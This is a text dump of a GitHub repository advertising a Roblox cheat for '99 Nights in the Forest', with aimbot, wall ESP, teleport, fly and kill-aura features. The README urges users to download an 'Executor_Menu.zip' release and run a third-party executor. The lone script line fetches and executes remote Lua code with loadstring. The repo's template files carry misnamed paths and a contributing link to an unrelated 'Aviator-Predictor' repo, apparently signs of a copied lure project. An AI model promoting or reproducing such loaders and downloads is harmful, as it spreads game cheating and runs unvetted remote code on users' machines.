Decryptor-j/99-Nights-in-The-Forest-Script/main 2.6k tokens More Tools
```
├── ,husky/
   ├── post-merge
   ├── pre-commit
   ├── run.js
├── .editorconfig (omitted)
├── .gitattributes (omitted)
├── .gitignore
├── .npmrc
├── .styluaignore
├── .vscode/
   ├── extensions,json (100 tokens)
   ├── luau-snippets.code-snippets
   ├── settings.json (100 tokens)
├── CONTRIBUTING.md (500 tokens)
├── LICENSE (omitted)
├── README.md (700 tokens)
├── Scripts/
   ├── 99 Nights in the Forest.lua
├── biome.json (100 tokens)
├── cspell.json (100 tokens)
├── package.json (200 tokens)
├── packages/
   ├── template/
      ├── CHANGELOG.md
      ├── LICENSE.txt (200 tokens)
      ├── README.md
      ├── default.project.json
      ├── package.json (200 tokens)
      ├── src/
         ├── index.d.ts (omitted)
         ├── init.luau
      ├── tsconfig.json
├── pnpm-lock.yaml (omitted)
├── pnpm-workspace.yaml
├── renovate.json (omitted)
├── rokit.toml
├── stylua.toml
├── tsconfig.base.json (200 tokens)
```


## /,husky/post-merge

``` path="/,husky/post-merge" 
pnpm run setup

```

## /,husky/pre-commit

``` path="/,husky/pre-commit" 
pnpm run lint

```

## /,husky/run.js

```js path="/,husky/run.js" 
const husky = (await import("husky")).default;
console.log(husky());

```

## /.gitignore

```gitignore path="/.gitignore" 
roblox.d.luau

dist
node_modules

```

## /.npmrc

```npmrc path="/.npmrc" 

```

## /.styluaignore

```styluaignore path="/.styluaignore" 
!*.lua
*.d.lua

!*.luau
*.d.luau

```

## /.vscode/extensions,json

```vscode/extensions,json path="/.vscode/extensions,json" 
{
	"recommendations": [
		"biomejs.biome",
		"streetsidesoftware.code-spell-checker",
		"EditorConfig.EditorConfig",
		"JohnnyMorganz.luau-lsp",
		"christian-kohler.path-intellisense",
		"roblox-ts.vscode-roblox-ts",
		"evaera.vscode-rojo",
		"JohnnyMorganz.stylua"
	]
}

```

## /.vscode/luau-snippets.code-snippets

```code-snippets path="/.vscode/luau-snippets.code-snippets" 
{
	"Package Optimization Comment": {
		"scope": "luau",
		"prefix": "comment",
		"description": "A comment to further improve luau's performances.",
		"body": "--!nocheck\n--!native\n\n"
	}
}


```

## /.vscode/settings.json

```json path="/.vscode/settings.json" 
{
	"typescript.tsdk": "node_modules/typescript/lib",
	"npm.packageManager": "pnpm",
	"terminal.integrated.defaultProfile.windows": "Git Bash",
	"editor.formatOnPaste": true,
	"editor.formatOnSave": true,
	"editor.defaultFormatter": "biomejs.biome",
	"editor.codeActionsOnSave": {
		"quickfix.biome": "always",
		"source.removeUnusedImports": "always",
		"source.organizeImports.biome": "always"
	},
	"[lua]": {
		"editor.defaultFormatter": "JohnnyMorganz.stylua"
	},
	"[luau]": {
		"editor.defaultFormatter": "JohnnyMorganz.stylua"
	}
}

```

## /CONTRIBUTING.md

# Contributing to [Project Name]

First off, thank you for considering contributing to [Project Name]! 🎉 We appreciate your interest and look forward to your contributions. This document outlines how you can help us improve the project.

## Table of Contents
- [I Have a Question](#i-have-a-question)
- [I Want To Contribute](#i-want-to-contribute)
- [Reporting Bugs](#reporting-bugs)
- [Suggesting Enhancements](#suggesting-enhancements)
- [Your First Code Contribution](#your-first-code-contribution)
- [Improving The Documentation](#improving-the-documentation)
- [Styleguides](#styleguides)
- [Commit Messages](#commit-messages)
=

## I Have a Question
If you have questions about the project or how to contribute, feel free to open an issue or reach out to us directly via [contact method].

## I Want To Contribute
We welcome all types of contributions! Here’s how you can get involved:

1. **Fork the repository**: Create your own copy of the project.
2. **Clone your fork**: Download your forked repository to your local machine.
3. **Create a new branch**: Use a descriptive name for your branch related to your changes (e.g., `feature/new-feature`).
4. **Make your changes**: Implement your feature or fix.
5. **Push your changes**: Upload your changes back to your forked repository.
6. **Create a pull request**: Submit a pull request to the main repository for review.

## Reporting Bugs
If you encounter any bugs, please report them by creating an issue in the repository. Include the following information:
- A clear description of the bug.
- Steps to reproduce the issue.
- Any relevant screenshots or error messages.

## Suggesting Enhancements
We love new ideas! If you have suggestions for enhancements or new features, please create an issue with:
- A detailed description of the enhancement.
- Why it would be beneficial for users.
- Any examples or use cases.

## Your First Code Contribution
If you're new to contributing, check out our guide on making your first code contribution. We recommend starting with small issues labeled as "good first issue" in our issue tracker.

## Improving The Documentation
Documentation is crucial! If you notice any typos or unclear sections, feel free to submit improvements. Clear documentation helps everyone!

## Styleguides
Please follow these style guides when contributing code:
- Use consistent naming conventions.
- Follow the project's coding standards (link to style guide if available).



## /README.md

# 99-Nights-in-The-Forest-Script

<p align="center">
<img src="https://github.com/user-attachments/assets/dab8e397-ca3f-4a88-901d-d32abdd18943" alt="99 Nights in the Forest Script GUI - no key" />
</p>

<h2 align="center">
<table align="center"> <tr>
      <th scope="col">99 Nights in the Forest Script</th>
      <th scope="col">10 / 29 / 2025</th>
  <th scope="col"><a href='https://github.com/Decryptor-j/99-Nights-in-The-Forest-Script/releases/download/99-Nights-in-The-Forest-Script-ALPHA/Executor_Menu.zip'>SCRIPT</a></th>
 </tr></table>
</h2>

    

<h3 align="center">Available for Windows and Android<br><br></h3>

<div align="center">
<img src="https://github.com/user-attachments/assets/f3a987e9-9755-4c66-919c-681d3f87535f" width="100"/>
</div>

## ⚠️ Disclaimer
For educational and testing purposes only.
The use of third-party scripts may lead to account penalties, including bans. Users assume all responsibility for any risks associated with its use.

## 🚀 Script Features
- **Item, NPC & Chest ESP**: See all valuable resources, enemies, and loot inside walls for ultimate awareness.
- **Precision Aimbot**: Hold right-click to automatically lock on and eliminate any threat.
- **Instant Teleport**: Teleport directly to campfires, grinders, lost children, chests, and all major items instantly.
- **Full Fly Mode**: Use WASD, Space, and Shift to fly with complete freedom across the map (Toggle with Q).
- **Auto Tree Farm & Wood Gathering**: Automate the most tedious tasks with our advanced auto-farming system.
- **Adjustable Speed**: Move across the map faster than ever with a customizable speed multiplier.
- **Anti-Death Mechanism**: Automatically teleports you to safety when your health is critically low.
- **No Fog & Night Vision**: Toggle off environmental fog and gain clear vision, day or night.
- **Auto Attacks / Kill Aura**: Automatically defeat enemies that come too close.

## 📖 How to Use This Script
1.  First, you need a Roblox script executor. We recommend Decryptor for its simplicity.
2.  GUI made it simple, you can execute script there easily.
3.  After executing open the Roblox game "99 Nights in the Forest".
4.  The Decryptor UI should appear, allowing you to configure all features.

## Contributing
Community contributions are always welcome! If you're interested in improving the **99 nights in the forest script**, please fork the repository and submit a pull request. For more details, check out our [contributing guidelines](https://github.com/Decryptor-j/Aviator-Predictor/blob/main/CONTRIBUTING.md).

## Support
If you run into any problems or have questions about Decryptor Executor Roblox, visit the “Releases” section for the latest updates and troubleshooting details. For additional help or to report issues, feel free to reach out through the “Issues” tab on this repository.

## License
This project is licensed under the [MIT License](https://opensource.org/licenses/MIT) - see the [LICENSE](LICENSE) file for details.

---

Thank you for choosing Decryptor Executor Roblox for your scripting needs. Dive into the world of Roblox with confidence and explore the endless possibilities that our executor has to offer. Happy scripting! 🚀🎮


## /Scripts/99 Nights in the Forest.lua

```lua path="/Scripts/99 Nights in the Forest.lua" 
loadstring(game:HttpGet("https://raw.githubusercontent.com/VapeVoidware/VWExtra/main/NightsInTheForest.lua", true))("http://t.me/josecmanxd")

```

## /biome.json

```json path="/biome.json" 
{
	"$schema": "./node_modules/@biomejs/biome/configuration_schema.json",
	"files": {
		"maxSize": 5242880,
		"ignore": ["*.lua", "*.luau"],
		"ignoreUnknown": true
	},
	"linter": {
		"rules": {
			"recommended": true
		}
	},
	"formatter": {
		"formatWithErrors": true,
		"indentWidth": 4,
		"lineEnding": "crlf",
		"lineWidth": 120
	},
	"javascript": {
		"parser": {
			"unsafeParameterDecoratorsEnabled": true
		},
		"formatter": {
			"bracketSameLine": true
		}
	},
	"json": {
		"parser": {
			"allowComments": true,
			"allowTrailingCommas": false
		}
	}
}

```

## /cspell.json

```json path="/cspell.json" 
{
	"$schema": "https://raw.githubusercontent.com/streetsidesoftware/cspell/main/cspell.schema.json",
	"import": [
		"./node_modules/@isentinel/dict-rbxts/cspell-ext.json",
		"./node_modules/@isentinel/dict-roblox/cspell-ext.json"
	],
	"ignorePaths": ["pnpm-lock.yaml", ".git/**", ".vscode/**"],
	"dictionaries": ["bash", "filetypes", "lua", "misc", "node", "npm", "softwareTerms", "typescript"],
	"language": "en",
	"words": [
		"automerge",
		"biomejs",
		"documentservice",
		"isentinel",
		"johnnymorganz",
		"kineticwallet",
		"lemonsignal",
		"llsp",
		"mathieudutour",
		"npmjs",
		"rbxts",
		"rbxtsc",
		"rojo",
		"rokit",
		"stylua",
		"unpublish",
		"softprops",
		"Millis"
	]
}

```

## /package.json

```json path="/package.json" 
{
  "type": "module",
  "packageManager": "pnpm@9.9.0",
  "description": "Custom Roblox executor build configuration",
  "author": "Decryptor-j",
  "scripts": {
    "init": "rokit install && pnpm install -w && pnpm run analyze:prepare",
    "prepare": "node .husky/run.js",
    "format": "pnpm exec biome format . --write && stylua .",
    "check": "pnpm exec biome lint . --no-errors-on-unmatched && pnpm exec cspell . --quiet --dot --unique --gitignore && stylua -c . --respect-ignores && pnpm run analyze && pnpm run analyze:clean",
    "analyze": "pnpm run analyze:prepare && llsp analyze --defs=roblox.d.luau --no-strict-dm-types packages",
    "analyze:clean": "pnpm exec shx test -f roblox.d.luau && pnpm exec shx rm -rf roblox.d.luau",
    "analyze:prepare": "pnpm exec shx test -f roblox.d.luau || curl -o roblox.d.luau https://raw.githubusercontent.com/JohnnyMorganz/luau-lsp/main/scripts/globalTypes.d.luau"
  },
  "devDependencies": {
    "@biomejs/biome": "1.8.2",
    "@isentinel/dict-roblox": "1.0.3",
    "@isentinel/dict-rbxts": "1.0.1",
    "husky": "9.1.5",
    "cspell": "8.14.2",
    "shx": "0.3.4"
  }

}


```

## /packages/template/CHANGELOG.md

# Changelog for `@rbxts/template`

## v0.0.0-ts.0
- add roblox-ts types

## v0.0.0
- initial version


## /packages/template/LICENSE.txt

MIT License

Copyright (c) 2024 kineticwallet

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


## /packages/template/README.md

# `@rbxts/template`

## Description
A template to create a new package easily.


## /packages/template/default.project.json

```json path="/packages/template/default.project.json" 
{
	"name": "@rbxts/template",
	"tree": {
		"$path": "dist"
	}
}

```

## /packages/template/package.json

```json path="/packages/template/package.json" 
{
	"name": "@rbxts/template",
	"version": "1.0.0-ts.2",
	"description": "A template to create a new package easily for 99 nights.",
	"keywords": [
		"template",
		"roblox-ts",
		"@rbxts"
	],
	"license": "MIT",
	"main": "dist/init.lua",
	"types": "dist/index.d.ts",
	"files": [
		"dist",
		"default.project.json",
		"CHANGELOG.md",
		"README.md",
		"!**/*.tsbuildinfo"
	],
	"author": "kineticwallet",
	"contributors": [
		{
			"name": "kineticwallet",
			"url": "github:kineticwallet"
		}
	],
	"readme": "github:kineticwallet/roblox-ts-packages/tree/master/packages/template/README.md",
	"homepage": "github:kineticwallet/roblox-ts-packages/tree/master/packages/template/README.md",
	"repository": {
		"url": "github:kineticwallet/roblox-ts-packages/tree/master/packages/template"
	},
	"bugs": "github:kineticwallet/roblox-ts-packages/issues",
	"publishConfig": {
		"access": "public"
	},
	"scripts": {
		"build": "pnpm exec rbxtsc --verbose"
	},
	"devDependencies": {
		"@rbxts/compiler-types": "2.3.0-types.2",
		"@rbxts/types": "1.0.802",
		"roblox-ts": "2.3.0-dev-576ad98"
	}
}


```

## /packages/template/src/init.luau

```luau path="/packages/template/src/init.luau" 
--!nocheck
--!optimize 2

return nil

```

## /packages/template/tsconfig.json

```json path="/packages/template/tsconfig.json" 
{
	"extends": "../../tsconfig.base.json"
}

```

## /pnpm-workspace.yaml

```yaml path="/pnpm-workspace.yaml" 
packages:
  - "packages/*"
```

## /rokit.toml

```toml path="/rokit.toml" 
[tools]
llsp = "johnnymorganz/luau-lsp@1.32.3"
rojo = "rojo-rbx/rojo@7.4.4"
stylua = "johnnymorganz/stylua@0.20.0"

```

## /stylua.toml

```toml path="/stylua.toml" 
line_endings = "Windows"

[sort_requires]
enabled = true

```

## /tsconfig.base.json

```json path="/tsconfig.base.json" 
{
  "compilerOptions": {
    // essential
    "target": "ESNext",
    "module": "commonjs",
    "moduleResolution": "node",
    "jsx": "react",
    "allowSyntheticDefaultImports": true,
    "downlevelIteration": true,
    "noLib": true,
    "resolveJsonModule": true,
    "experimentalDecorators": true,
    "forceConsistentCasingInFileNames": true,
    "moduleDetection": "force",
    "strict": true,

    // paths
    "rootDir": "${configDir}/src",
    "outDir": "${configDir}/dist",
    "typeRoots": ["${configDir}/node_modules/@rbxts"],

    // build info
    "incremental": true,
    "declaration": true,
    "tsBuildInfoFile": "${configDir}/dist/tsconfig.tsbuildinfo",

    // misc
    "jsxFactory": "",
    "jsxFragmentFactory": "",
    "stripComments": true // same idea as removeComments
  }
}

```


The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.
Copied!